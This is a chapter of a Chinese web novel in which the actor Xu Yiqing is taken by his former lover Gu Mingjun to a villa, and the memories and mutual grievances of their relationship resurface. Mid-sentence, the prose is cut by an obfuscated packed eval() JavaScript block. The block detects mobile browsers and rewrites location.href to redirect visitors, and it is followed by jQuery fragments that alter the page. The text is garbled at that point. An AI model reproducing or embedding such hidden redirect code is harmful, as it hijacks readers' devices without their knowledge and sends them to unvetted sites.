许亦清回包厢打招呼的时候没看到林钰，大大松了口气。蔡顺睃一眼洗手间，笑道：“林钰刚还在念叨说你酒量不好，怕你被他们灌醉哩……等他出来？”
许亦清摇头：“蔡哥帮我说一声吧。”顾明钧的车在“三缺一”后门等，还特意派了个助理在包厢门口接应他。
这地界是娱乐圈人士的聚集地，扎堆的狗仔多，不过“三缺一”也有应对的经验，特设了一条圈里人出入的通道。
许亦清心里像漾着一团火，坐上那辆阿尔法的后座才稍稍平缓了呼吸。即将到来的机遇和顾明钧的态度让他难免兴奋，没有留意到急匆匆追出来的身影。
顾明钧却是一眼瞥见了，轻叩司机椅背，阿尔法立刻提速，像离弦的箭一般驶入了浓黑的夜色。
“亦清，你手上这部定档了吗？宣发签了几次？”顾明钧低声开口。
“定了，签了七次。”许亦清在他问询的目光下进一步解说，“首映见面会一场、直播一场，因为是周更剧周末可能安排综艺和扫楼大概四五次，收官如果数据好可能会安排一场粉丝见面会。”
顾明钧皱眉：“两个月就耗没了，聂导那边等不起。这片子取景都在泰兰德，年底过去没那么热，好赶工期。”他顿了顿，像是安抚般，“没事，回头让庆虞跟你们卢总谈吧，反正剧拍完了，少跑一两站不是什么大事。再说我这边还得飞一趟都柏林，虽然拿奖希望不大也得去走个过场……”
他是在说即将送展奥伯龙电影节的《暗夜微光》，许亦清随口问了句：“为什么？这片在国内反响这么好……”
事实上，他的思绪停留在“庆虞”两个字上，他知道翎空的赵总全名是赵庆虞，而顾明钧唤这两个字时的熟稔让人无法忽视。
“你看了么？”顾明钧倾身向他靠过来。
许亦清怔了一下，并未像躲避旁人的触碰一般向后退，这是深刻在骨子里的记忆。顾明钧有强势而霸道的一面，刚在一起的时候，他执拗地按着他肩膀，“不许躲我亦清！如果你真的信任、喜欢一个人，你是不会躲开他的……呐呐呐，像这样——”他钳着他的下巴，温柔地吻上他的唇……
片刻地失神之后，许亦清微微垂下头，“什么？”
顾明钧嘴角勾起一抹得意的笑容，充满磁性的声音越发低沉：“我说《暗夜微光》，你看了么？”
“嗯。”许亦清点头，“挺好的，你的演技越发精进了。”尽管去电影院捧场会有诸多不便，但他总在伪装之后选择午夜场，去看他上线的新片。
“有个镜头……是在长正街取景的，转角那家包子店眼熟么？金城这几年发展快，也就那片还保留着一些老建筑了。”顾明钧的目光掠过那截低垂的脖颈，轻叹了口气，“那条拍完，我点了五个大肉包……却不是从前那个味了。”
旧时光并不止镌刻在许亦清的记忆里。
顺着长正街的小巷道拐进老旧的居民楼，夕阳映照在阳台眺望的身影上。
顾明钧拍完夜戏总要睡到黄昏才起床，简陋的屋子里空荡荡的，许亦清的手机丢在小圆桌上。
他踱步到阳台，随手点燃一根烟，张望着巷道的尽头。
牵挂的人总是两手都提着塑料袋子，缓步出现在光影里。等他走近些，他在阳台大喊一声：“亦清！”
那张白净的面庞就会抬起来，眉眼弯弯地看着他，抬起一只手，“醒了？饿不饿？我给你买了肉包子先垫垫……今天的鱼挺新鲜，不过特价老板不给处理得自己杀……”
他“砰砰砰”地跑下楼去，接过他手里的塑料袋，肩碰着肩、嬉笑打闹着爬上四楼。蔬菜扔一地，鱼也在门口蹦跶，沙发上是抱着啃着滚在一起的两个人……
路灯投过车窗，车身轻晃，顾明钧睨一眼侧坐的身影。
他有许久没有离这个人这样近了，清淡的气息不管用哪个牌子的香水都盖不住。他轻轻地、深深地吸了一口。这味道曾是他的氧气、源泉、充电宝，不管在外头多累、多狼狈，只要躺在这个人的膝上，让他修长的手指一遍遍梳理他的头发，身躯就彷佛一点点被修复、精气神都在回笼。
在一起七年，许亦清爱他，这点毫无疑问。
顾明钧试探地伸出手，轻轻攥住他左手的手腕，许亦清挣了挣，意识到他在解开他手上的腕表，便停止了挣扎。修长的手指将表带解开，略带粗粝的指腹摩挲着手腕内侧那块陈旧的疤痕，那是他刚学着做饭的时候烫伤的，高明的厨艺背后是经验的积累。
温软的肌肤相触，像按了某个隐秘的开关，心跳同时漏了半拍。
他们之间的账目向来简单：许亦清毫无保留地给，顾明钧倾家荡产地还。
领到片酬、搬离地下室，攒钱买的第一件礼物是送给他的。路易威登的皮带、明晃晃的大logo，他们这个圈子爱好奢侈品的多，他见过他看着别人一身名牌一脸艳羡的样子，当时满心不是滋味，既恼他爱慕虚荣，又恨自己不能满足他的物欲。
他的目光掠过他的腰间，一条菲拉格慕精致、低调的环在那。品位提升了，不再是为了一条大logo激动不已、抱着他连连亲吻的人了。不变的……只有那把细腰，仍旧不盈一握。
曾经为了环上那抹细腰的咸猪手，他操起凳子砸破了对方的脑袋。
不是没有想过后果，可那一刻，他只想让全世界知道，许亦清是他的，谁也不能觊觎。
盯着那抹纤腰，顾明钧的手指动了动，害痒似地缩了缩。
许亦清侧过头，与他对视一眼，眼神里带着点疑惑和探究，然后有些不自在地偏头看向窗外。
顾明钧并没有意识到自己的目光灼热如火，反倒有些奇怪：为什么这么多年过去，这人竟还像大学那会儿容易害羞？眼神纯澈如初，就好像——当初为了上戏，爬床投资方的人不是他一样。
车窗外霓虹闪烁，落在许亦清侧脸。三十三岁，轮廓依旧清俊，线条冷冽，却掺了岁月打磨后的温润。顾明钧眯起眼，不得不承认：不管是二十一岁还是三十三岁的许亦清，都十分勾人。他的身上糅杂了一种矛盾的气质，既清冷如水又热情似火。骨子里带着倔强，心性里又保有一份天真。
天真到供认不讳还满眼期待地看着他：“明钧，我错了。你……能不能原谅我一次？”
顾明钧勾起嘴角，鼻子里发出一声只有他自己能听见的冷哼，原谅？他永远也不会原谅。
车子滑入地库，助理跳下车拉开车门，将风衣披到他肩上。
“你俩先下班吧。”顾明钧低声吩咐，司机和助理对视一眼，应了声“是”。
“亦清，跟我来。”他抬步，又回头道，“放心，这里绝对安全。”
许亦清略一踌躇，跟在他身后，两人一前一后进了地库的电梯。几秒钟后，“叮”——对面厢门打开，一股暖流裹着檀香先涌了出来。
近百平的横厅，新中式和日式侘寂风格融合，看不出木料的雕花隔扇将其一分为二。音响系统大概隐藏在踢脚线里，轻柔的乐声环绕，缓解了几分尴尬。
顾明钧替他解开外套，指尖蹭过衣领：“热不热？”又抬手一扫，“看看这装修，是不是你喜欢的风格？我跟设计师沟通了很久，还特意找出那本杂志上的图片给他看。”
一句话就把旧时光拽回来——
逼仄的出租房里，两人挤在简易木床上，杂志摊在中间、压在身下。“等咱有钱了买了大房子，”顾明钧手指点着照片，“就照这样装，弄上一整面落地窗，冬天晒太阳，夏天躺床上看雨……”
如今照片里的房子落进现实，他带了点骄傲地旋身，示意他在琴叶榕和散尾葵簇拥的真皮沙发上落座，转身进了黑胡桃木栅格门。窸窣布料摩擦声从里间传出，显然是在换衣服，和纸面板上映照出一抹高大的侧影。
许亦清慌忙别开眼，目光在客厅里游走。槅扇后头放着一张高脚供案，上面摆着一系列奖杯，金色的底座熠熠生辉。倏地，他瞳孔收紧——在杯座与墙面的间隙里有个水晶圆球。
他忍不住站起身：没有错，是那个雪景水晶球，拧动底部的发条，球体里就会扬起纷纷的雪沫。许多年前，东瀛有一部动漫风靡全球，屠龙少年要去探索世界，送给青梅竹马的恋人一个水晶球，“るき，这是一个魔法水晶球，你看它一直在下雪，就像我一直陪着你……”
来金城以前，许亦清没有离开过江省，江省地处华国南部，几乎没有下过雪，圣诞节收到的这份礼物让他惊喜万分，一路从江省带到金城。
可分手那次大吵，他记得顾明钧将它砸碎了……他甩门离去，他坐在满地的玻璃碎渣里发呆……
一只宽大的手掌将那只水晶球托起，顾明钧低头凝视片刻，缓步走过来，“这是我后来买的，有部片子在东瀛取景，助理说停产了，我请托了几个朋友，才在一个中古店买到……亦清，”他自嘲般笑了笑，“你大概不知道，这么个小玩意儿，当年花了我大半个月的工资……”
他说的是被砸碎的那一个。
那时顾明钧在酒吧驻唱，工资按客人点歌的次数提成，他天生傲气，尽管唱得不错，但既不会陪酒也不会来事，收入并不算高。
“为什么？”许亦清颤声问道，他问得没头没脑，顾明钧却是听懂了。为什么亲手砸碎的东西，你又要去买回来呢？
他将水晶球放回案几上，静默了片刻才低声道：“因为舍不得。”
“有些东西要等到失去，才知道它有多么珍贵。”他回过身，长臂一伸，很自然地将许亦清搂进怀里，头埋在他肩上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487722|185710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，“亦清，我很想你。”在一起七年，他清楚他的所有敏感点，薄唇轻啜着他的耳垂，“……真的很想你……”
许亦清几乎是颤抖起来，本能地想要将他推开，手指却将他的睡袍攥得死紧。从上车就蕴藏在胸口的那一点火，瞬间就灼烧着他的全身。
刚分手的那两年，他无数次梦见过这个场景。顾明钧回头来找他，有时是冒着大雨，有时是顶着烈日，推开那扇门走进来，有时严肃地盯着他，有时温柔地看着他，“只此一次下不为例知道吗？”“亦清，我们和好吧，我很想你……”
有一次半夜惊醒，他光着脚跳下床，打开门，门外并没有站着那个回头来找他的人，只有夜风在楼道间呜咽……他跌坐在门后，直到天光大亮。
这种状况在他彻底地搬离两人租住的小区后才逐渐地好起来。
为什么？为什么在他彻底地接受他再也不可能回头的时候，他却又这样抱着他，说他很想他呢？
许亦清只觉得一颗心开始抽搐起来，分不清是慌是乱还是痛？
他条件反射般弓下腰，后移的臀触碰到了某样坚硬的物什，他瞬间站直了身体，偏过头跟身后的顾明钧对视了一眼。
“Sorry，”顾明钧一只手拂了拂睡袍的下摆，另一只手却仍把住他的腰，“亦清，这么多年我只对你有……”
骤起的电话铃声打断了他的诉说，顾明钧蹙眉，从睡袍口袋里掏出手机。两人隔得太近，许亦清无需刻意窥探，也瞄见了界面上那个“虞”字。
顾明钧松开他，走到旁边的小会客室去接电话，门没有关上，断断续续传来低语：“……嗯，洗澡呢……知道了……行吧明天公司再说……嗯？别瞎想……我困了……好，晚安……”
一字一句，明明是十分普通的对话、温和的语气，却像夏季的暴雨浇注在许亦清的天空，将胸腔里蕴藏着的那团火一点点地扑灭，只剩下一簇极为微弱的火苗。
顾明钧走出会客室，随手将手机丢在沙发上，似乎想重新搂抱许亦清。
许亦清却后退了一步，抬起头直视他：“你的意思……是要和好吗？”
“和好？也可以这么理解。”顾明钧没有预料到他的直接，摸了摸鼻子，有些讪讪道，“但是你也知道我们这一行，有些事只能我们自己心里清楚……”
他拉着许亦清的胳膊在沙发上坐下，“听我说亦清，今天你见了聂导，也看了剧本大纲，应该知道这是一次极好的机会……”
“所以？”许亦清的面色有些发白，眼眸却愈发晶亮，“你找我……是为了更好的演绎好这个角色？”
顾明钧没有否认。
许亦清垂头笑了笑，声音有些发虚：“我一直知道你敬业，没想到能敬业到这个程度。”
顾明钧看了一眼手机，似乎明白了许亦清态度变化的原因。
他叹了口气，“亦清，有些事情不需要说得太清楚吧？你能不能出演这个片子，庆虞这边是要出大力气的，不光是你的档期问题，前期的注资、后期的排片都得谈。咱俩都在这个圈子里，你比我更早看清、看透彻，”他咬了咬唇，到底没有忍住，“这一课——其实是你教我的，不是吗？”
最后一句落地，许亦清脸上最后一丝血色也褪尽了。他扶着茶几，摇晃着站起来：“我得走了。”
顾明钧又急又恼，一把攥住他手腕，“何必这样亦清？当初一部小成本网剧都能让你……我难道比周擎差？”
“周擎”两个字一出，许亦清瞳孔猛地收紧，面孔在刹那间变得煞白，像是一阵狂风吹过，将那丝微弱的火苗彻底地熄灭。
他一把格开顾明钧的胳膊，像见鬼一般瞪着他。半晌，他只哑声重复：“我得走了。”这就是许亦清，绝大多数时候他是温和的，可一旦真的生气，一个字也不会说，能一个人枯坐到天亮。
顾明钧看着他垮下的双肩，颤抖的背影，有种扑上去抱住他的冲动。可指节攥得泛白，终究没伸手。
这部电影翎空是主投资，赵庆虞不止会探班，更有可能全程监制，他跟赵庆虞的关系无法隐瞒，他也不屑于欺骗。心底涌起一股酸涩，又升腾起一阵快意。我曾经尝过的滋味，如今你大概也知道了？
许亦清迈出这个郊区别墅群的大门，冷风一吹，才发现自己走得匆忙连外套都没有拿。大概已是半夜时分，夜空缀着几颗星子，他驻足凝望，仰头深呼吸，胸腔里全是冰碴子。
“嘀——”路边一辆宝马GT降下半扇车窗，紧接着一个身影窜出车厢，一件羽绒服从天而降，将他裹得严严实实。
“顾影帝住哪我还是打听得到的，你今晚上要是不出来，我可再也不缠着你了。”林钰在他耳朵边上嘟囔，声音里透着委屈，却是兴奋地一把将他抱紧。